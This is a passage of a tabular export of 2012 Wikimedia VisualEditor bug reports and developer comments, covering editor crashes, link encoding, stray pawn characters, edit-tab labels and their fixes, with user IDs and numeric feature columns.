+**Severity**: normal",High,80.0,1353441780,1354921807.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-jazf6d7oefzddss6mv36,task_description,resolved,True,c1,0,False,False,True,-32,,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1
+184590,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,"It's resolved on our end, we have bug 41116 to track the other issues.",,,1354921807,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-jazf6d7oefzddss6mv36,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+184585,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,"I5e1de9244d727641c10b6f0a89acc61afba7ecad will not actually fix the problem. I'm cleaning up our link serialization handler right now, which should also fix this issue.",,,1354916743,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-jazf6d7oefzddss6mv36,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+184579,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,If5d22e88904d6b2c438caac403ac2d78d440b017 resolves this issue. It's still dependent on bug 41116 (which has a patch that needs merging: I5e1de9244d727641c10b6f0a89acc61afba7ecad ),,,1354912585,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-jazf6d7oefzddss6mv36,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+44275,VisualEditor: Clicking link toolbar button with zero-length selection makes UI go crazy,"...presumably because the link becomes a pre-annotation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1353376740,1353971422.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-idkrdic2vphpfwclosyo,task_description,resolved,True,c1,0,False,False,True,-32,,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+183312,VisualEditor: Clicking link toolbar button with zero-length selection makes UI go crazy,Fixed in I38995d4101fda71bfb2e6fe516603507ce820937 and Ibf6b26de299e54ae8688a2653bf5d5538927f8c3,,,1353971585,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-idkrdic2vphpfwclosyo,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+183306,VisualEditor: Clicking link toolbar button with zero-length selection makes UI go crazy,This was resolved in the recent inspector rewrite.,,,1353971422,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-idkrdic2vphpfwclosyo,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+44220,VisualEditor: Provide a way of users seeing the edit-notices and page protection level warnings as they're editing,"From Max's bug 42142
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=42142",High,80.0,1353122280,1354317270.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-uxbnfma4ejiksnkp2e7x,task_description,resolved,True,c1,0,True,False,True,-33,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+205879,VisualEditor: Provide a way of users seeing the edit-notices and page protection level warnings as they're editing,Resolved in I581bf5a005a9c18422f952d71064d17d0ba9b540,,,1354317270,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-uxbnfma4ejiksnkp2e7x,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+44219,VisualEditor: Trivial way to get a lot of errors,"1. Go to https://www.mediawiki.org/wiki/VisualEditor:Testy and click edit
+2. Select all using Ctrl-A (or Cmd-A) and press backspace
+3. Press any content key (e.g. ""a"")
+
+What should happen:
+
+: You get a document with an ""a"" in its own paragraph.
+
+What does happen:
+
+: You get a document with an ""a"" in its own paragraph, and two console errors:
+
+TypeError: this.data[offset] is undefined
+
+...ation)===false){return null;}while(start>0){start--;if(this.offsetContainsAnnota...
+
+load.p...4105Z&* (line 89)
+
+
+TypeError: this.data[offset] is undefined
+
+...ation)===false){return null;}while(start>0){start--;if(this.offsetContainsAnnota...
+
+load.p...4105Z&* (line 89)
+
+
+Thereafter, pressing return in the new context gives:
+
+TypeError: node is null
+
+...ve.Node.call(this,type);this.model=model;this.$=$element||$('<div>');this.parent...
+
+Etc.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1353120840,1353541840.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_description,resolved,True,c1,0,True,False,True,-33,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+205821,VisualEditor: Trivial way to get a lot of errors,"Confirmed fixed, will be pushed live on Monday.",,,1353541840,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,True,,,-32,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+205816,VisualEditor: Trivial way to get a lot of errors,https://gerrit.wikimedia.org/r/#/c/34597/1,,,1353535425,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+205810,VisualEditor: Trivial way to get a lot of errors,"There were actually two cases, with two different root causes.
+
+If the last node in the document was not a paragraph, comment #2 applies: the document is empty and the pre-annotations code was asking for annotations at offset 0. This was fixed a while ago.
+
+If the last node in the document was a paragraph (this is common), the document wouldn't actually be emptied. Instead, all nodes would be removed except the last paragraph, which gets stripped. So after removing ""everything"", we are left with a document that only contains an empty paragraph. However, in the model tree, this empty paragraph is truly empty and does not contain a zero-length text node (most other empty paragraphs do have one).
+
+Once you type a character, CE pawns it first, processing a transaction that inserts a pawn in the paragraph. The transaction processor gets confused by the lack of any content nodes in the paragraph, and issues a rebuild for the contents of the paragraph, which fails spectacularly. The model tree ends up in an inconsistent state with a text node being a direct child of the document node and the paragraph node being gone. This then caused offset computations to be off by one, which caused other parts of CE to do strange things, culminating in an exception in openAnnotations(). When the exception occurs, the pawn hasn't been unpawned yet, so there's pawn leakage.
+
+Trevor has a commit queued up that will fix this.",,,1353530127,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-32,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+205805,VisualEditor: Trivial way to get a lot of errors,"After deleting all the content document if completely empty (data.length = 0),
+however view still askes what are the annotations at offset 0 - and that's what
+fails.
+Possible fix it to make method getAnnotationsFromOffset return empty set if
+given offset does not exists.",,,1353138590,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-33,,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+205799,VisualEditor: Trivial way to get a lot of errors,%%%*** Bug 42218 has been marked as a duplicate of this bug. ***%%%,,,1353138404,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-vsfkgcc5kyalos6vc4gl,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+44218,VisualEditor: Trivial way to get a pawn (♙) appearing,"1. Go to https://www.mediawiki.org/wiki/VisualEditor:Testy and click edit
+2. Select all using Ctrl-A (or Cmd-A) and press backspace
+3. Press any content key (e.g. ""a"")
+
+What should happen:
+
+: You get a document with an ""a"" in its own paragraph.
+
+What does happen:
+
+: You get a document with an ""a"" in its own paragraph, and a pawn.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1353120720,1353138404.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-p6hldnmgl7xtnj7zwjyv,task_description,resolved,True,c1,0,True,False,True,-33,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+205756,VisualEditor: Trivial way to get a pawn (♙) appearing,"
+
+%%%*** This bug has been marked as a duplicate of bug 42219 ***%%%",,,1353138404,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-p6hldnmgl7xtnj7zwjyv,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+44212,VisualEditor: Inserting text content around inline alien nodes throws an exception,"Specifically it fails when trying to insert text content between two inline aliens or after last inline alien inside its parent.
+
+Exception:
+Uncaught TypeError: Cannot read property 'start' of undefined ve.dm.TransactionProcessor.js:259
+ve.dm.TransactionProcessor.processors.replace
+
+// Set change markers on the parents of the affected nodes
+for ( i = 0; i < selection.length; i++ ) {
+	this.setChangeMarker(
+		selection[i].parentOuterRange.start + this.adjustment,
+		'content'
+	);
+}
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1353106740,1353366778.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-murhom53ypttvsazncwz,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1
+205429,VisualEditor: Inserting text content around inline alien nodes throws an exception,https://gerrit.wikimedia.org/r/34224,,,1353366778,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-murhom53ypttvsazncwz,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+205426,VisualEditor: Inserting text content around inline alien nodes throws an exception,It also happens when inserting text content before inline alien if that alien is a first child of its parent.,,,1353137908,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-murhom53ypttvsazncwz,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+44137,"VisualEditor: Sync availability of ""minor edit"" with MW backend","Currently when using VisualEditor to create a new page, the ""Save page"" dialog box offers two checkboxes below the edit summary field: ""This is a minor edit"" and ""Watch this page"".
+
+When creating a page, ""This is a minor edit"" does not typically show up. It's a bug that the checkbox appears when creating a page with the VisualEditor interface.
+
+This bug is closely related to bug 40774.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",High,80.0,1352957280,1354565365.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-cougiswjchh3cn6khldz,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+200414,"VisualEditor: Sync availability of ""minor edit"" with MW backend",Code now live in master; will get deployed in the next cycle.,,,1354565365,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cougiswjchh3cn6khldz,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+200408,"VisualEditor: Sync availability of ""minor edit"" with MW backend",Change-Id: I9c659845feebb3e9bbf8e13ee67be27c6adb4321,,,1354426566,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cougiswjchh3cn6khldz,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+200403,"VisualEditor: Sync availability of ""minor edit"" with MW backend","The EditPage backends has this logic in three places:
+
+* Getting html of checkboxes (only if user has minoredit right and if not on a  new page)
+* Setting initial values of checkboxes (if user has minordefault preference)
+* Processing the save action with the minoredit flag (only if has user right and not on a new page)",,,1354418381,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-cougiswjchh3cn6khldz,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+44134,VisualEditor: Floated nodes don't get shields in Chrome,"If you have a floated table inside an alien, it gets a shield (and a phantom) in Firefox but not in Chrome. This is because the table is floated with external CSS triggered by class=""infobox"", rather than an inline style attribute. At the time when we check for $this.css('float'), $this hasn't been attached to the main DOM yet. Firefox computes styles on unattached nodes correctly, but Chrome doesn't.
+
+The solution is to wait until after the entire CE rendering has been built and attached to the DOM before generating shields and phantoms. Possible implementations:
+
+1. Add an onAttach function to ce.Node. After attaching, traverse the entire CE tree and invoke onAttach() on every node (bottom up). This is expensive, though, because you have to traverse the entire tree just to invoke onAttach on the few nodes that use it.
+
+2. Make the ce.Surface throw an 'attached' event after attaching to the DOM, and make the ce.AlienBlockNode constructor listen for this event. This is not as clean, but more efficient, because only nodes that need processing are processed.
+
+I have a slight preference for #2, but I can be convinced either way.
+
+In both cases, the call to onUpdate() in the ce.AlienBlockNode constructor would be removed, otherwise the HTML would be set twice.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1352948940,1353018780.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-oxmalsbaodappytqtaoo,task_description,resolved,True,c1,0,False,False,True,-33,,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+200234,VisualEditor: Floated nodes don't get shields in Chrome,Fixed here: https://gerrit.wikimedia.org/r/#/c/33661/,,,1353018780,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-oxmalsbaodappytqtaoo,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44125,VisualEditor: Spinner keeps spinning after save fail,"If you try to save a page and it fails (e.g. because of an edit conflict, blocked user, Parsoid down, or whatever), then click Cancel, the spinner keeps spinning and the Save page button remains greyed out.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1352940660,1354054812.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-kk4vhnmofck2qdxtjn2o,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+199721,VisualEditor: Spinner keeps spinning after save fail,"
+
+*** This bug has been marked as a duplicate of bug 37837 ***",,,1354054812,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-kk4vhnmofck2qdxtjn2o,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+44121,VisualEditor: Paragraph generated for an empty document should not be unwrapped on the way out,"Currently, the DOM->data converter generates an empty paragraph if the input is an empty string. This paragraph is marked with .internal.generated=='wrapper', so it's unwrapped on the way out. This is bad because we lose change markers that way, and have no way to propagate them.
+
+Instead, it should use another generated marker which causes the paragraph to be unwrapped only if it is empty, and be preserved if it's not empty.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1352938920,1353123761.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-lag2eyarvgkricqxqmeh,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,0
+199526,VisualEditor: Paragraph generated for an empty document should not be unwrapped on the way out,*** Bug 41905 has been marked as a duplicate of this bug. ***,,,1353133977,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lag2eyarvgkricqxqmeh,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+199522,VisualEditor: Paragraph generated for an empty document should not be unwrapped on the way out,https://gerrit.wikimedia.org/r/33854,,,1353123761,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-lag2eyarvgkricqxqmeh,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44119,VisualEditor: Converter should inline-alienate inline tags in wrapping mode even in the mw:unrecognized case,"Normally, unrecognized tags in wrapped blocks are alienated as inline or block depending on the tag name. This is broken for tags with unrecognized mw: types (and for about groups), which are always alienated as block when in wrapping mode.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1352938680,1353386649.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-hfb6u2us7tcoc2xke4cf,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+199447,VisualEditor: Converter should inline-alienate inline tags in wrapping mode even in the mw:unrecognized case,https://gerrit.wikimedia.org/r/34261,,,1353386649,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hfb6u2us7tcoc2xke4cf,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+44117,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","When loading a page with VE enabled, the ""edit"" tab is changed from the ""vector-view-edit"" message to the ""edit"" message. This is apparent on enwiki, where these messages have different values. It's also apparent when using ?uselang=qqx
+
+This shouldn't happen, the message for the edit tab should be consistent.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1352937420,1365036328.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_description,resolved,True,c1,0,False,False,True,-33,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+199374,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg",Now merged.,,,1365036328,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+199369,"VisualEditor: Replaced Edit tab should use original label instead of fetching message ""edit"" msg","Rephrased summary.
+
+The problem is that different skins use a different message for the Edit button. Vector uses msg key ""vector-view-edit"". Monobook (and most other skins) use msg key ""edit"".
+
+By default the messages are equal but on en.wikipedia.org, as example, classic msg ""edit"" has been changed to contain ""Edit this page"".
+
+This lead to the tab replacement causing a weird change from ""Edit"" to ""Edit this page"" when in VE mode.",,,1365027641,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5jn5rxhygbvz6pzdt2uo,task_subcomment,,True,c1,1,True,,,-13,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,1,0
